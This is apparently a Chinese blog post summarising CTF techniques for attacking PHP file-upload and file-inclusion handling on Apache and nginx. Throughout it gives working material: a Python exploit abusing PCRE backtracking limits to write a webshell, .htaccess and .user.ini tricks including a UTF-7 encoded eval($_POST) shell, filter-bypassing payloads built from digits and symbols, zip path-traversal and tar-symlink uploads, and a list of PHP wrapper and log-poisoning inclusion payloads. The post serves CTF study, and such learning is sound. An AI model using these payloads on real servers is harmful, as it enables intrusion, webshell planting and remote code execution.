CTF考点总结-文件上传/文件包含

文件上传

前端检查

前端对文件后缀进行检查,该种通过抓包修改数据包即可解决

文件名检查

大小写绕过

在windows下,可以将后缀写为pHp

unicode

当目标存在json_decode且检查在json_decode之前,可以将php写为\u0070hp

php3457

该项为apache专属

关键点在/etc/apache2/mods-available/php5.6.conf这个文件,满足.+\.ph(p[3457]?|t|tml)$,都会被当作php文件解析。在apache2目录下grep -r x-httpd-php /etc/apache2找到对应文件就能知道解析哪些后缀

利用正则回溯pcre限制

pcre默认限制为100w

参考文章:PHP利用PCRE回溯次数限制绕过某些安全限制

有如下场景

<?php
if(!preg_match('/.+?ph/is',$_POST['n']))
file_put_contents($_POST['n'],$_POST['s']);

可利用如下exp解决

import requests

data= {'n':"php://filter/write=convert.base64-decode/"+'/'*1000000+'/resource=shell.php','s':"PD9waHAgcGhwaW5mbygpPz4="}

print (requests.post('http://127.0.0.1',data=data).text)

请求头检查:content-type,MIME类型

将php文件的content-type:application/octet-stream修改为image/png等就可以

更多content-type:可以查看https://tool.oschina.net/commons/

解析漏洞、语言特性及漏洞

apache2

多后缀解析漏洞

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

如1.php.abc,因apache2不识别.abc后缀,所以向前解析php

.htaccess

Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)

当站点配置上标有AllowOverride All,并且rewrite_mod开启时,.htaccess文件就会生效。

(1) Options

列目录

Options +Indexes 

可以执行cgi程序

Options ExecCGI 

解析cgi的参考链接https://www.freebuf.com/vuls/218495.html

(2) AddType application/x-httpd-php abc

当在.htaccess中写入AddType application/x-httpd-php abc时,就会把1.abc当作php文件解析

(3) php_value、php_admin

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
+ADw?php phpinfo()+Ads
<?php
echo mb_convert_encoding('<?php eval($_POST["x"]);?>', "UTF-7", "UTF-8");
?>

UTF-7、UTF-16、UTF-32皆可

任意文件下载

php_flag engine 0

除此之外还可以这样书写.htaccess

CVE-2017-15715

利用在上传文件时,文件名之后添加一个\x0a来绕过黑名单上传的限制

nginx

CVE-2013-4547

参考https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547

即上传一个1.gif,然后访问1.gif[0x20][0x00].php([0x20][0x00]为空格和\0不需要url编码),1.gif会被当作php解析

php-cgi漏洞

在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php解析成php

.user.ini

当使用CGI/FastCGI 来解析php时,php会优先搜索目录下所有的.ini文件,并应用其中的配置。类似于apache的.htaccess,但语法与.htacces不同,语法与php.ini一致。因nginx实际上只是起到转发的作用,实际解析一般为php-fpm或fastcgi来解析,所以在.user.ini中写如auto_prepend_file=test.jpg,之后上传.user.ini与test.jpg,过一段时间等待.user.ini被加载后,会导致每个php文件解析之前先将test.jpg当作php解析。

php

00截断

php 版本为5.2.x,在上传文件时在文件后名后追加\0即可让上传的文件,最终变为以.php结尾的文件

fopen特性

<?php
$filename='shell.php/.';
$content="<?php phpinfo();";
$f = fopen($filename, 'w');
    fwrite($f, $content);
    fclose($f);
?> //会在当前目录生成shell.php

文件内容检查:

绕过<?php,<?=

https://www.php.net/manual/zh/language.basic-syntax.phpmode.php

其中第2种在php7种不可以使用,在php5中可以使用

绕过[a-zA-Z0-9]

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

仅数字+符号

waf代码如下:

<?php 
error_reporting(0); 
if(!isset($_GET['num'])){ 
    show_source(__FILE__); 
}else{ 
    $str = $_GET['num']; 
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/im', $str)) { 
            die("what are you want to do?"); 
        } 
    } 
    @eval('echo '.$str.';'); 
} 
?> 

使用如下

<?php 
$a ='';
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(9)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}));
$a .= (((10000000000000000000).(1)){3});
$a .= ((((10000000000000000000).(1)){3})|(((-1).(1)){0}));
echo $a; //systEm
?>

<?php 
$a ='';
$a .= (((10000000000000000000).(1)){3}); // E
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //n
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //D
echo $a; //EnD
?>

<?php // getallheaders
$a ='';
$a .= ((((10000000000000000000).(1)){3})|(((1.1).(1)){1})&((~(((1).(8)){1})|(((1).(7)){1})))); // g
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1})); //T
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))); // h
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); //D
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(2)){1})); // r
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1})); // s
echo $a;
?>

https://waituck.sg/web/rctf2020/php/2020/06/10/rctf-2020-calc-writeup.html
https://blog.rois.io/en/2020/rctf-2020-official-writeup-2/#Calc

绕过;(分号)

<?=phpinfo()?>

exif_imagetype()

该函数为获取图片的类型,常用于检测上传文件的类型

(1)可以使用在文件头添加魔术字节GIF89a即可绕过
(2)使用copy命令将木马放在一个正常文件之后

get_imagesize()

该函数为获取图片的长宽,常用于检测上传文件的类型
(1)可以在文件之前添加

#define width 1337                          
#define height 1337

即可绕过

二次渲染

https://github.com/hxer/imagecreatefrom-/tree/master/
https://www.freebuf.com/articles/web/54086.html
http://www.vuln.cn/6411

多文件上传

当服务器支持多文件上传,但只对上传的第一个进行过滤时,可以一次上传多个文件进行绕过

文件上传解压

tar压缩包

linux环境

ln -s / 1.jpg 会在当前目录下生成一个名为1.jpg的软链接
tar cf 1.tar 1.jpg
上传到服务器,访问1.jpg,就可以在服务器中漫游了
也可以利用这个办法绕过php_flag engine off

例子:https://250.ac.cn/2019/11/09/2019-湖湘杯-web部分-WriteUp/#预期解

zip压缩包

如果服务器对上传的zip文件直接解压的话,就可以构筑这样一个文件来绕过
环境:/var/www/html/upload目录不解析php文件,解压文件默认在upload下

新建1234.php,内容任意
将1234.php压缩为1234.zip文件
使用hxd或者010editor等16进制编辑器编辑1234.zip文件,将所有字符串1234.php替换为../1.php(../1共四位所以使用1234为文件名,可根据需求修改),保存。
将修改后的1234.zip上传,经过服务器解压,会在/var/www/html下生成一个1.php

条件竞争

在一些上传场景中,上传的文件上传成功后会被立马删除,导致无法访问上传的文件。所以从上传成功到被删除的这段时间大概(几百ms)存在一个空档,我们利用这段空档可以访问到上传的文件。但是手工操作肯定是来不及,我们写脚本操作也来不及。所以可以通过不断的上传文件,并不断的访问到达目的。

其他情况

rce
imagick rce:CVE-2016–3714
file_put_contents

file_put_contents($filename,$content);

filename参数支持以url形式写入,支持php伪协议,支持远程读取文件

具体参考:

file_put_content和死亡·杂糅代码之缘

文件包含

路径穿越

upload/../../../../../tmp/shell.php

伪协议绕过

ftp://shell.php
file:///tmp/shell.php
http://xxxx/shell.php
\\smbserver\shell.php        //unc路径
phar://xxxx/x.zip/shell.php   //需将shell.php打包为x.zip上传
zip://xxxx/x.zip#shell.php    //需将shell.php打包为x.zip上传
php://filter/read=convert.base64-encode/resource=shell.php
compress.bzip2://shell.php
compress.zlib://shell.jpg
php://input    [POST DATA] <?php phpinfo()?>
data://text/plain,<?php phpinfo()?>                 //也可以data:text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 
php://filter/read=convert.base64-encode/resource=phar://phar.phar
php://filter/convert.base64-decode|convert.base64-decode/resource=shell.php
php://filter/%72ead=convert.base64-encode/resource=shell.%70hp

包含session

参考 php_myadmin4.8.1 文件包含漏洞CVE-2018-12613

https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

包含日志

apache2

以ubuntu下apache2为例,先请求/<?php phpinfo();?>,然后包含/var/log/apache2/access.log即可

mail

/var/log/mail.log

或者可以参考这个

安恒杯6月赛web2 easypentest

posted @ 2020-04-05 20:01  ~kagi~  阅读(9378)  评论(0编辑  收藏  举报